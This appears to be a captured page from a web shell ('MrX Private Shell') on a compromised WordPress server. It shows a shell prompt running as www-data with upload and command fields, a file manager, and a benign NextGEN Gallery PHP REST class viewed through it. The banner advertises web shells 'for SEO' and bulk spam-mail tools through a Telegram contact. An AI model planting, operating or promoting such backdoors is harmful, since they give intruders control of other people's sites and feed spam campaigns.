__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.217.151: ~ $
<?php

namespace Imagely\NGG\REST;

use Imagely\NGG\REST\Admin\AttachToPost;
use Imagely\NGG\REST\Admin\Block;

class Manager {

	public static function rest_api_init() {
		$block = new Block();
		$block->register_routes();

		$atp = new AttachToPost();
		$atp->register_routes();
	}

	/**
	 * This entire method exists because WordPress' rest_url() bungles provided URL path including GET parameters that
	 * already include a question mark ?suchAs=this&other=things when site permalinks are not enabled.
	 *
	 * @param string $path
	 * @param array  $parameters Array of key => value pairs to include in the URL
	 * @param bool   $show_template When TRUE this returns ?key={key}&thing={thing} for JS frontends to substitute
	 * @return string
	 */
	public static function get_url( $path, $parameters = [], $show_template = false ) {
		global $wp_rewrite;

		if ( $wp_rewrite->using_index_permalinks() ) {
			$first_separator = '?';
		} else {
			$first_separator = '&';
		}

		$second_separator = '&';
		$parameter_string = '';

		if ( ! empty( $parameters ) ) {
			$first_separator_added = false;

			foreach ( $parameters as $key => $value ) {

				if ( ! $first_separator_added ) {
					$parameter_string .= $first_separator;
				} else {
					$parameter_string .= $second_separator;
				}

				if ( $show_template ) {
					$parameter_string .= "{$key}=" . '{' . $key . '}';
				} else {
					$parameter_string .= "{$key}={$value}";
				}

				$first_separator_added = true;
			}
		}

		return rest_url( $path . $parameter_string );
	}
}

Filemanager

Name Type Size Permission Actions
Admin Folder 0755
Manager.php File 1.51 KB 0644
Filemanager